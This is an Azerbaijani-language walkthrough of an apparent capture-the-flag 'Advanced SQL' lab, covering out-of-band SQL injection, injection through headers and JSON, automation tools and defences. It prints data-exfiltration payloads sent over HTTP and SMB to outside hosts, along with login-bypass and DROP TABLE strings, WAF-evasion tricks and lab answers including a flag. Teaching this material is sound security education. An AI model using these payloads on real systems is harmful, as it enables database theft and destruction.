Advanced SQL
6. Out-of-band SQL Injection
Ənənəvi yolları anladıq, indi isə fikirləşin ki, siz xakersiz və yaxud bug huntersız, öyrəndiklərinizlə verilənlər bazasından məlumatları əldə etmək istəyirsiniz lakin öyrəndiyiniz üsullar artıq işləmir, bu vəziyətdə nə etmək olar? Bu məsələlərdə Out-of-band SQL Injection bizə kömək edir, bundan sonra artıq ən yaxın dostunuz Out-of-band-dır 🙂 Eyni kanaldan həm data göndərmək həm də response almaq əvəzinə, Out-of-band müxtəlif kanallardan bunu reallaşdırır. Anlamaq üçün kiməsə birbaşa mesaj göndərmək əvəzinə HTTP,DNS,SMB ilə gizli mesaj göndərmək kimi düşünə bilərsiniz. Bəs bunu niyə edirlər? Çünki trafikdə bunu tutmaq daha çətindir nəyinki eyni kanaldan request və response göndərmək.
Out-of-Band necə işləyir:
Xaker SQL payloadı daxil edir və nəticədə verilənlər bazası onların nəzarətində olan serverə sorğular göndərməyə başlayır. Bu sorğular DNS və ya HTTP sorğuları şəklində ola bilər və sistemdən həssas məlumatların sızmasına səbəb olur. Bu situasıya sanki şirkətin mühafizəçinin diqqəti yayındırarkən əşyaların arxa qapıdan gizlicə çıxarılmasına bənzəyir. Belə üsul firewalları bypass etmək üçün, müdaxilə aşkarlama sistemlərini (intrusion detection systems) və normal olaraq uyğunlaşa biləcək təhlükəsizlik tədbirlərini aşmaq üçün mükəmməl bir taktika sayılır.
Niyə SQL Out-of-Band Injection istifadə etməliyik?
Əslində qısa izahı var, bizim bildiyimiz SQL bypassları inkişaf etmiş firewallarda və ya digər təhlükəsizlik sistemlərində aşkarlanır və eyni zamanda bunlara qarşı tədbirlər görünür. Bu zaman isə bizə Out-of-Band lazım olur, çünki bu tip injeksiya demək olar ki, heç bir firewall tədbir ala bilmir. Yəni sadəcə responsların qarşısını alır, digərləri kimi təhlükəsizlik sistemini “ayağa qaldırmır”. DNS, HTTP sorğuları və ya SMB protokolu vasitəsilə məlumatlar göndərə bilərsiniz. Bütün bu üsullar firewalların nəzərindən qaçır və xakerə ənənəvi maneələri keçərək məlumatı əldə etməyə kömək edir.
Out-of-Band texnıkasının fəaliyyətləri:
- MySQL/MariaDB: Təsəvvür edin ki, həssas məlumatları fayla yazmaq istəyirsiniz.
SELECT sensitive_data INTO OUTFILE '/tmp/out.txt';
kimi əmrlərlə bu məlumatları bir fayla yazmaq və sonradan onu SMB və ya HTTP vasitəsilə xarici serverə ötürmək mümkündür.
- MSSQL: Burada hücumçular
xp_cmdshellkimi funksiyalardan istifadə edərək SQL sorğuları vasitəsilə birbaşa shell əmrləri icra edə bilirlər. Bu isə məlumatların xarici bir yerə ötürülməsi üçün sistemdə qapını sözün əsl mənasında açır. - Oracle: Oracle-da isə “ağır artilleriya” kimi
UTL_HTTPvəUTL_FILEpaketləri mövcuddur. Bunlarla məlumatlar HTTP sorğuları ilə göndərilə bilər. Heç bir xüsusi dəvətə ehtiyac yoxdur, sadəcə düzgün tərtib edilmiş bir sorğu və məlumat, öz yeni ünvanına göndərilir.
Out-of-band texnikasına nümunələr:
HTTP Request
Verilənlər bazasının HTTP sorğularını dəstəkləyən funksiyalarından istifadə etməklə, xakerlər həssas məlumatları birbaşa özlərinə məxsus veb serverlərinə ötürə bilirlər. Bu üsul verilənlər bazasının xarici HTTP bağlantıları ilə əlaqə qurmaq qabiliyyətini istismar edir.
MySQL və MariaDB sistemləri default olaraq HTTP sorğularını dəstəkləməsə də, bu əməliyyatlar əlavə skriptlər və ya İstifadəçi Tərəfindən Müəyyənləşdirilmiş Funksiyalar (UDF – User Defined Functions) vasitəsilə həyata keçirilə bilər, təbiiki verilənlər bazasının konfiqurasiyası buna icazə verirsə. İlk növbədə HTTP sorğularını dəstəkləyən UDF-in yaradılması və sistemə quraşdırılması lazımdır. Bu qurulum adətən mürəkkəbdir və əlavə konfiqurasiya tələb edir. Məsələn, aşağıdakı sorğu vasitəsilə məlumat ötürülə bilər:SELECT http_post('http://x.com/exfiltrate', sensitive_data) FROM books;
HTTP sorğuları ilə məlumatların sızdırılması həm Windows, həm də Linux sistemlərində tətbiq oluna bilər. Bu verilənlər bazasının xarici skriptlər və ya HTTP sorğularını aktivləşdirən UDF-ləri dəstəkləməsindən asılıdır.
DNS Exfiltrasiya
Xakerlər SQL sorğularından istifadə edərək daxilində encode olmuş məlumatlar olan DNS sorğuları yarada bilirlər. Bu sorğular xakerin nəzarətində olan DNS serverinə göndərilir. Bu texnika HTTP əsaslı monitorinq sistemlərini aşmaq üçün istifadə olunur və verilənlər bazasının DNS sorğularını yerinə yetirmə imkanını istismar edir.
Yuxarıda qeyd olunduğu kimi, MySQL default olaraq təkcə SQL əmrləri vasitəsilə DNS sorğuları yaratmağı dəstəkləmir. Lakin xakerlər bu boşluğu xüsusi İstifadəçi Tərəfindən Müəyyənləşdirilmiş Funksiyalar (UDF-lər) və ya sistem səviyyəli skriptlərdən istifadə etməklə kompensasiya edə bilirlər. Bu üsullar vasitəsilə verilənlər bazasına DNS sorğuları yerinə yetirmək əmri verilə və nəticədə kodlaşdırılmış məlumatlar kənar DNS serverlərə ötürülə bilər.
SMB Exfiltrasiya
SMB ilə məlumatların sızdırılması (exfiltration), SQL sorğularının nəticələrinin xarici serverdə yerləşən SMB paylaşımına yazılması ilə həyata keçirilir. Bu texnika xüsusilə Windows mühitlərində təsirlidir, lakin uyğun konfiqurasiya ilə Linux sistemlərində də tətbiq oluna bilər. Məsələn, belə bir sorğu vasitəsilə bu əməliyyat yerinə yetirilə bilər:SELECT sensitive_data INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';
Windows: Bu əməliyyat tam şəkildə dəstəklənir, çünki Windows əməliyyat sistemləri default olaraq SMB/UNC kanallarını tanıyır və onlarla işləməyə imkan verir.
Linux: UNC kanalları daha çox Windows üçün default olsa da, Linux sistemlərində smbclient kimi alətlərdən və ya SMB paylaşımını yerli bir qovluğa montaj etməklə istifadə edilə bilər. Lakin SQL sorğularında UNC yollarından birbaşa istifadə etmək üçün əlavə skriptlər və ya konfiqurasiya tələb oluna bilər ki, bu da sistemin SMB ilə qarşılıqlı işləməsini təmin etsin.
Yadda Saxlayın:
Out-of-Band SQL injeksiya olduqca ağıllı və hiyləgər bir üsuldur, lakin verilənlər bazası sistemləri bu cür sızmalara qarşı müxtəlif məhdudiyyətlərlə “maneələr” yaradır. Məsələn, secure_file_priv kimi parametrlər vasitəsilə faylların yalnız müəyyən qovluqlara yazılmasına icazə verilir. Buna baxmayaraq, xakerlər çox zaman “out-of-band” üsulu ilə həmin məhdudiyyətləri aşmaq və məlumatlarını hara yaza biləcəklərini müəyyən etmək üçün müxtəlif ağıllı texnikalardan istifadə edirlər.
Yəni növbəti dəfə kimsə “out-of-band” fəaliyyət göstərirsə, ola bilsin ki, ən səssiz və aşkar olunması çətin olan SQL injeksiya texnikalarından birini həyata keçirir…
Sual: MySQL serverində @@version çıxışı nədir?
Cavab: 10.4.24-MariaDB
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --
Sual: @@basedir dəyişəninin dəyəri nədir?
Cavab: C:/xampp/mysql
7. Digər texnikalar
Fikirləşinki HTTP headers vebsaytların gizli arxa qapıları kimidir, istifadəçi məlumatlarını daşıyır və bu məlumatlar sonda SQL sorğularına daxil ola bilər. Əgər məlumatların təmizlənməsi düzgün aparılmasa, ağıllı bir xaker User-Agent, Referer və ya X-Forwarded-For kimi başlıqlardan istifadə edərək SQL əmrlərini sistemə yeridə bilər. Yalnız bir kiçik diqqətsizlik belə tam miqyaslı SQL injeksiyası təhlükəsinə səbəb ola bilər. Məsələn: User-Agent başlığı vasitəsilə aşağıdakı kimi bir SQL manipulyasiyası həyata keçirilir:
User-Agent: ' OR 1=1; --
Əgər server bu başlığı düzgün yoxlamırsa və onu birbaşa SQL sorğusuna daxil edirsə, nəticədə sistemdə SQL xaosu baş verə bilər, qısacası qorxulu vəziyyətdir..
Stored Procedures: Verilənlər Bazalarının da öz qaydaları var
Saxlanılmış prosedurlar (stored procedures) verilənlər bazasının mentorları kimidir, əvvəlcədən tərtib edilmiş və optimallaşdırılmış SQL ifadələridir ki, bütün çətin işi yerinə yetirirlər. Lakin onlar düzgün idarə olunmadıqda, SQL injeksiyası üçün ideal bir səbəbə çevrilə bilərlər. Xakerlər, istifadəçi daxilolmalarının birbaşa olaraq dinamik SQL sorğularına əlavə edildiyi saxlanılmış prosedurları xüsusi ilə sevirlər. Məsələn, istifadəçi adı kimi məlumatlar təmizlənmədən sorğunun içinə yerləşdirilərsə, backdoor hücumu üçün hər şey hazırdır.
XML və JSON İnjeksiyası
XML və JSON müasir proqramlaşdırmada ən populyar oyunçular sayılır. Ancaq bu “oyun meydançası” çox tez bir zamandaxhakerlərin meydanına da çevrilə bilər. Əgər bu formatlar düzgün yoxlamalar (validation) və təmizlənmədən birbaşa SQL sorğularına daxil edilirsə, nə baş verir? Sözün əsl mənasında SQL partlayışı baş verir. Məsələn, belə bir kod parçası daxil edilə bilər:
{
"username": "'; DROP TABLE users; --"
}
Əgər bu giriş birbaşa SQL sorğusuna əlavə olunursa və heç bir filtrasiya yoxdursa, verilənlər bazasında dağıdıcı əmrlər icra oluna bilər.
{
"username": "admin' OR '1'='1 -- ",
"password": "password"
}
Belə bir kod parçasının daxil edilməsi, sadə bir giriş sorğusunu bir anda SQL partlayışına çevirə bilər. Ona görə də növbəti dəfə sistemdə zəiflikləri test edəndə unutmayın ki, bu cür inkişaf etmiş texnikalar SQL injeksiyasının ninja hərəkətləri kimidir. İnputları təmizləyib SQL sorğusu göndərmək həmişə yaxşı fikirdir, əks halda serverində arzuolunmaz bir SQL partlayışı olacaq.
Sual: book_id =1 olduğu kitablar cədvəlində “flag” sahəsinin dəyəri nədir?
Cavab: THM{HELLO} SELECT flag FROM books WHERE book_id = 1;
Sual: USER-AGENT çıxararılarkən server tərəfində hansı sahə aşkar edilir?
Cavab: User-Agent
8. Avtomatlaşdırma
SQL İnjeksiya veb tətbiqləri üçün ən qorxulu təhlükələrdən biridir. Bu çox vaxt zəif təhlükəsizlik tədbirləri və ya mürəkkəb veb çərçivələrinin yaratdığı çətinliklər səbəbindən baş verir. Bu zəifliklərin aşkar edilməsi və istismarı avtomatlaşdırıldıqda mürəkkəb və vaxt aparan proses kimi görünə bilər, lakin bu işi asanlaşdıran və sürətləndirən bir neçə effektiv alət mövcuddur. Gəlin bu problemləri və onlarla mübarizədə bizə kömək edən faydalı vasitələri birlikdə nəzərdən keçirək.
SQL İnjeksiyanı Aşkarlamaqda Çətinliklər
SQL injeksiyası zəifliklərini müəyyən etmək asan iş deyil və bu prosesdə qarşıya çıxan bir neçə ciddi çətinlik mövcuddur:
- SQL sorğularının dinamik təbliği: SQL sorğuları çox vaxt istifadəçi girişinə əsaslanaraq dəyişir, bu isə zəifliyin dəqiq yerini tapmağı çətinləşdirir. Çoxlu şərtləri olan mürəkkəb sorğular potensial hücum yollarını gizlədə bilər.
- İnjeksiya pointlərinin gizliliyi: SQL injeksiyası yalnız input sahələrində olmur, həmçinin HTTP başlıqlarında, URL parametrlərində və digər yerlərdə də gizlənə bilər. Bütün mümkün giriş nöqtələrini (injection points) aşkarlamaq ciddi testlər və tətbiqin iş mexanizminin yaxşı başa düşülməsini tələb edir.
- Mövcud təhlükəsizlik tədbirləri: Bir çox tətbiq hazırlanmış ifadələr (prepared statements), parametrli sorğular (parameterized queries) və ORM (Object-Relational Mapping) çərçivələri kimi qabaqcıl təhlükəsizlik üsullarından istifadə edir ki, bunlar SQL injeksiyasının qarşısını alır. Buna görə, avtomatlaşdırılmış alətlər təhlükəsiz sorğuları və zəiflikli sorğuları düzgün ayırd edə bilməlidir.
- Kontekst-əsaslı aşkarlama: İstifadəçi girişləri müxtəlif kontekstlərdə istifadə olunur, buna görə alətlər xüsusi şərtləri anlamaq və uyğunlaşmaqla zəiflikləri dəqiq müəyyən etməlidir.
SQL İnjeksiya Hücumlarını Avtomatlaşdırmağı Asanlaşdıran Alətlər
Xoşbəxtlikdən, təhlükəsizlik icması SQL injeksiya zəifliklərinin aşkar olunması və istismarı prosesini avtomatlaşdırmaq üçün bir sıra güclü alətlər hazırlayıb. Budur, ən çox istifadə olunan alətlərdən bəziləri:
SQLMap
SQL injeksiyası üçün ən məşhur və güclü alətlərdən biridir. Open-sourcedır, müxtəlif verilənlər bazalarını dəstəkləyir və sadə əmrlərlə həm zəiflikləri aşkarlaya, həm də onları istismar edə bilir. Hər bir pentesterin arsenalında olmalı əsas vasitədir.
SQLNinja
Xüsusilə Microsoft SQL Server üzərində çalışan veb tətbiqlər üçün nəzərdə tutulub. Verilənlər bazasının fingerprinting çıxarılması, data extraction və digər istismar mərhələlərini avtomatlaşdırır. Hədəf MsSQL-dirsə, bu alət sizə kömək edə bilər.
JSQL Injection
Java ilə yazılmış tətbiqlər üçün optimallaşdırılmış bir Java kitabxanasıdır. Müxtəlif növ SQL injeksiya hücumlarını aşkarlaya və həyata keçirə bilir. Düzgün istifadə olunarsa, verilənlər bazasına tam nəzarət əldə etməyə imkan verə bilər.
BBQSQL
Blind SQL Injection hallarını hədəfləyir, yəni hücumçunun serverdən birbaşa cavab ala bilmədiyi ssenarilər üçün nəzərdə tutulub. Bu çətin vəziyyətlərdə istismarı avtomatlaşdırmaq üçün səmərəli bir çərçivə təqdim edir.
Yekun
SQLMap, SQLNinja və BBQSQL kimi alətlər SQL injeksiyası zəifliklərinin aşkarlanması və istismarı üçün güclü avtomatlaşdırma imkanları təqdim etsələr də, onlar mükəmməl deyillər. Avtomatlaşdırılmış yanaşmalar bəzi incə və kontekstə bağlı zəiflikləri görməyə bilər, buna görə də manual validation hələ də vacibdir.
SQL injeksiya hücumlarından bir addım öndə olmaq üçün:
- Bu alətləri təhlükəsizlik yoxlamaları prosesinizə daxil edin,
- İnput validation və Query construction-da ən yaxşı təcrübələrə riayət edin,
- Davamlı testlər aparın və tətbiqlərinizi mütəmadi olaraq audit edin.
Avtomatlaşdırma ilə insan bilik və təcrübəsinin düzgün kombinasiyası sayəsində veb tətbiqlərinizi bu hiyləgər hücumlardan qorumaq üçün güclü bir müdafiə xətti formalaşdıra bilərsiniz.
Sual: SQL sorğularının dinamik xarakteri pentesterə SQL injeksiyasını müəyyən etməkdə kömək edirmi?
Cavab: nay
9. Praktik
SQL injeksiyası veb tətbiqlərinin təhlükəsizliyində hələ də ən ciddi və yayılmış zəifliklərdən biridir. İstər təhlükəsiz kod yazan bir proqramçı, istərsə də tətbiqləri sınaqdan keçirən bir pentester olun, bu zəifliyin qarşısını almağı və onu necə istismar etməyi bilmək olduqca vacibdir. Aşağıda həm proqramçılar, həm də pentesterlər üçün tövsiyələr təqdim olunub ki, bu geniş yayılmış zəifliklə effektiv mübarizə aparmaq mümkün olsun.
Parametrləşdirilmiş sorğular və hazır ifadələrdən istifadə nədir?
Parametrləşdirilmiş sorğular və “prepared statements” texnikası istifadəçi daxil etdiyi məlumatların sırf data kimi qəbul olunmasını təmin edir və onların icra olunan kod kimi işlənməsinin qarşısını alır. Bu SQL sorğusunun strukturunun dəyişdirilməsinə imkan vermədiyi üçün SQL injeksiya riskini effektiv şəkildə aradan qaldırır.
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
Bu inputun SQL sorğu strukturunun bir hissəsi kimi deyil, məlumat kimi idarə olunmasını təmin edir.
Input Validation and Sanitisation:
Bu texnika gözlənilən formatlara uyğun olduğundan əmin olmaq üçün bütün inputları yoxlamaq və təmizləməkdir. Düzgün məlumat növləri, uzunluqlar və ya diapazonlar kimi müəyyən edilmiş meyarlara cavab verməyən hər hansı məlumatı avtomatik olaraq silir. Praktikada: HTML injeksiyasının qarşısını almaq üçün htmlspecialchars() kimi funksiyalardan, PHP-də e-poçt ünvanlarını və ya digər daxiletmələri təsdiqləmək üçün filter_var() funksiyalarından istifadə edilir.
Least Privilege Prinsipi
Tətbiqdə istifadə olunan verilənlər bazası hesablarına yalnız lazım olan minimal səlahiyyətlər verilməlidir. Yəni adi əməliyyatlar üçün admin səlahiyyətlərinə malik istifadəçi hesablarından istifadə etmək olmaz. Bu prinsip SQL injection hücumlarının təsirini azaldır, çünki hücum edən şəxs belə hallarda sistemin həssas hissələrinə çıxış əldə edə bilmir.
Saxlanılmış Prosedurlar
Saxlanılmış prosedurlar, SQL əmrlərinin əvvəlcədən müəyyən olunmuş, verilənlər bazasında saxlanan formasıdır. Onlar sorğuların inputlarını yoxlamağa və emal etməyə kömək edir. Bu da SQL injection riskini azaldır. Prosedurlar yalnız yoxlanılmış və uyğun formatda olan məlumatları qəbul etməlidir. Eyni zamanda inputların təmizlənməsi prosedurun daxilində həyata keçirilməlidir.
Mütəmadi Təhlükəsizlik Yoxlamaları və Code Reviews
Tətbiq kodları və sistemin təhlükəsizliyi mütəmadi olaraq yoxlanılmalıdır. Bunun üçün avtomatlaşdırılmış alətlərdən istifadə etmək faydalıdır, lakin yalnız onlarla kifayətlənmək olmaz. Manual yoxlamalar daha incə və nəzərdən qaçmış zəiflikləri üzə çıxara bilər. Beləliklə proqram təminatı daim yenilənən təhlükələrə qarşı dayanıqlı qalır.
Pentesterlər üçün tövsiyələr
Verilənlər bazası xüsusiyyətlərini istismar etmək:
Fərqli verilənlər bazası idarəetmə sistemləri (DBMS) özünəməxsus sintaksis və funksiyalara malikdir. Pentester hədəf sistemin (məsələn, MySQL, PostgreSQL, Oracle, MSSQL) xüsusiyyətlərini bilməlidir ki, bu imkanlardan effektiv şəkildə istifadə etsin. Məsələn, MSSQL sistemində xp_cmdshell adlı əmrlə birbaşa əməliyyat sistemində komanda işlətmək mümkündür.
Səhv məlumatlarından yararlanmaq:
Tətbiqin verdiyi xəta mesajlarından istifadə edərək verilənlər bazasının strukturu haqqında məlumat əldə etmək mümkündür. Error-based SQL injection üsulunda məqsəd tətbiqi elə manipulyasiya etməkdir ki, o, faydalı məlumat sızdıran xəta mesajları versin. Məsələn, bu kimi sorğularla sistemin versiyası barədə məlumat almaq olar.
1' AND 1=CONVERT(int, (SELECT @@version)) --
WAF və Filtrləri keçmək:
WAF və giriş filtrlərini keçmək üçün müxtəlif obfuscation üsulları sınanmalıdır. Məsələn:
- Böyük və kiçik hərflərin qarışığı (
SeLeCt), - Simvollarla birləşdirmə (
CONCAT(CHAR(83), CHAR(69), CHAR(76), ...)), - Alternativ kodlaşdırma üsulları (hex, URL kodlama)
- Araya yazılan şərhlər (
/**/), - Simvol kodları (%09, %0A və s.)
Bunların hamısı sadə filtrləri keçmək üçün istifadə edilə bilər.
Verilənlər bazasını tanımaq (Fingerprinting):
Hansı tip və versiyada verilənlər bazasının istifadə olunduğunu təyin etmək üçün xüsusi sorğular göndərmək olar. Bu hücum üsullarını həmin DBMS-ə uyğunlaşdırmaq üçün vacibdir. Məsələn:
SELECT version()→ PostgreSQL üçünSELECT @@version→ MySQL və MSSQL üçün işləyir.
SQL Injection vasitəsilə Pivoting:
Bir server SQL injection ilə ələ keçirildikdən sonra, həmin serverdən istifadə edərək daxili şəbəkənin digər hissələrinə də keçid etmək mümkündür. Bu zaman digər sistemlərə giriş məlumatları əldə edilə və ya şəbəkədaxili etimad əlaqələrindən istifadə edilə bilər.
Advanced SQL injection testləri müxtəlif üsulları bilməyi və fərqli mühitlərə uyğunlaşma bacarığını tələb edir. Peşəkar pentesterlər, sistemin zəif nöqtələrini tam şəkildə üzə çıxarmaq üçün həm DBMS-ə xas zəiflikləri, həm də mürəkkəb filtrləri aşmaq metodlarını bilməlidirlər. Hər mərhələnin düzgün sənədləşdirilməsi isə təhlükəsizlik dəyərləndirməsinin tam və sistemli olmasını təmin edir.
Sual: MSSQL sistem əmrlərini yerinə yetirmək üçün hansı əmri dəstəkləyir?
Cavab: xp_cmdshell